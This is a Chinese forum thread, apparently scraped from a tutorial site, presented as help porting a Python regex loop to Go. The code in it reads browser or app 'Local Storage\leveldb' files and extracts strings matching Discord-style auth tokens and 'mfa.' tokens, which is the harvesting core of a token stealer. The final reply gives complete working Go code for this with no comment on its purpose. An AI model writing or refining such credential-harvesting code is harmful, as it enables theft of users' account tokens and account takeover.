从Python到Golang的正则表达式循环转换指南

从Python到Golang的正则表达式循环转换指南

    for file_name in os.listdir(path):
        if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
            continue

        for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
            for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                for token in re.findall(regex, line):
                    tokens.append(token)

我正在尝试用Go语言实现这段Python代码,但我不知道如何完成这一部分:


        for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
            for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                for token in re.findall(regex, line):
                    tokens.append(token)

我已经让它运行起来了,但有时并非所有令牌都会被返回,只返回了几个,而且正确的令牌也不在其中。我认为问题出在正则表达式上,但如果有人能告诉我如何在Go中实现这个功能,我将不胜感激。


更多关于从Python到Golang的正则表达式循环转换指南的实战教程也可以访问 https://www.itying.com/category-94-b0.html

4 回复

那么你现在有什么代码呢?

从已有的、但未按预期工作的代码入手来提供帮助,通常比从头开始更容易。提前展示一些代码也告诉我们你已经尝试过,而不仅仅是让我们帮你做作业 😊

更多关于从Python到Golang的正则表达式循环转换指南的实战系列教程也可以访问 https://www.itying.com/category-94-b0.html


使用循环可能有点小题大做,毕竟只需要两个正则表达式。

所以,分别编译并依次匹配它们。

另外,你可能想使用包变量来存储编译后的正则表达式,并使用 MustCompile(或类似的方法)来快速修复语法错误。

此外,你可以使用反引号 ` 来包裹正则表达式字符串(即原始字符串),这样就不需要对反斜杠进行转义了。

func token_lookup(path string) ([]string, string) {
	var tokens []string
	path = path + "\\Local Storage\\leveldb"
	files, _ := ioutil.ReadDir(path)

	for file := range files {
		var fileName string = files[file].Name()
		if strings.HasSuffix(fileName, ".log") == false && strings.HasSuffix(fileName, ".ldb") == false {
			continue
		}

		r, _ := regexp.Compile("(?s)[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}")
		f, _ := ioutil.ReadFile(path + "\\" + fileName)

		if r.Match(f) {
			tokens = append(tokens, string(r.Find(f)))
		}

	}
	return tokens, path
}

这是我目前得到的代码,但它没有返回所有存在的令牌。

我有

for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}'

这部分,但我还需要

, r'mfa\.[\w-]{84}'):

因为如果不这样,它就无法获取所有令牌(如果我没理解错的话)。

换句话说,我需要这个:

   for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                for token in re.findall(regex, line):

但是要用 Go 语言实现。

在Go语言中实现这个功能需要注意几个关键点:文件读取、正则表达式匹配和错误处理。以下是完整的Go实现:

package main

import (
    "bufio"
    "fmt"
    "io/fs"
    "os"
    "path/filepath"
    "regexp"
    "strings"
)

func main() {
    path := "./your/path"
    tokens := []string{}
    
    // 编译正则表达式
    regexPatterns := []string{
        `[\w-]{24}\.[\w-]{6}\.[\w-]{27}`,
        `mfa\.[\w-]{84}`,
    }
    
    var regexes []*regexp.Regexp
    for _, pattern := range regexPatterns {
        re, err := regexp.Compile(pattern)
        if err != nil {
            fmt.Printf("正则表达式编译错误: %v\n", err)
            continue
        }
        regexes = append(regexes, re)
    }
    
    // 读取目录
    entries, err := os.ReadDir(path)
    if err != nil {
        fmt.Printf("读取目录错误: %v\n", err)
        return
    }
    
    for _, entry := range entries {
        file_name := entry.Name()
        
        // 检查文件扩展名
        if !strings.HasSuffix(file_name, ".log") && !strings.HasSuffix(file_name, ".ldb") {
            continue
        }
        
        filePath := filepath.Join(path, file_name)
        
        // 打开文件
        file, err := os.Open(filePath)
        if err != nil {
            fmt.Printf("打开文件错误 %s: %v\n", file_name, err)
            continue
        }
        defer file.Close()
        
        // 逐行读取文件
        scanner := bufio.NewScanner(file)
        for scanner.Scan() {
            line := strings.TrimSpace(scanner.Text())
            if line == "" {
                continue
            }
            
            // 对每个正则表达式进行匹配
            for _, re := range regexes {
                matches := re.FindAllString(line, -1)
                tokens = append(tokens, matches...)
            }
        }
        
        if err := scanner.Err(); err != nil {
            fmt.Printf("读取文件错误 %s: %v\n", file_name, err)
        }
    }
    
    // 输出结果
    fmt.Printf("找到 %d 个令牌:\n", len(tokens))
    for _, token := range tokens {
        fmt.Println(token)
    }
}

如果你遇到匹配不完整的问题,可能是正则表达式字符类的问题。在Go的正则表达式中,\w匹配的是ASCII单词字符([A-Za-z0-9_]),而Python的\w默认包含Unicode字符。如果需要完全匹配Python的行为,可以修改正则表达式:

// 如果需要匹配Unicode字符,使用POSIX字符类
regexPatterns := []string{
    `[[:word:]-]{24}\.[[:word:]-]{6}\.[[:word:]-]{27}`,
    `mfa\.[[:word:]-]{84}`,
}

或者使用更明确的字符类:

// 明确指定允许的字符
regexPatterns := []string{
    `[A-Za-z0-9_-]{24}\.[A-Za-z0-9_-]{6}\.[A-Za-z0-9_-]{27}`,
    `mfa\.[A-Za-z0-9_-]{84}`,
}

要调试正则表达式匹配,可以添加调试输出:

for _, re := range regexes {
    matches := re.FindAllString(line, -1)
    if len(matches) > 0 {
        fmt.Printf("在行中找到匹配: %s\n", line)
        fmt.Printf("正则表达式: %s\n", re.String())
        fmt.Printf("匹配结果: %v\n", matches)
    }
    tokens = append(tokens, matches...)
}

这样可以查看哪些行被匹配到了,以及匹配的具体结果。

回到顶部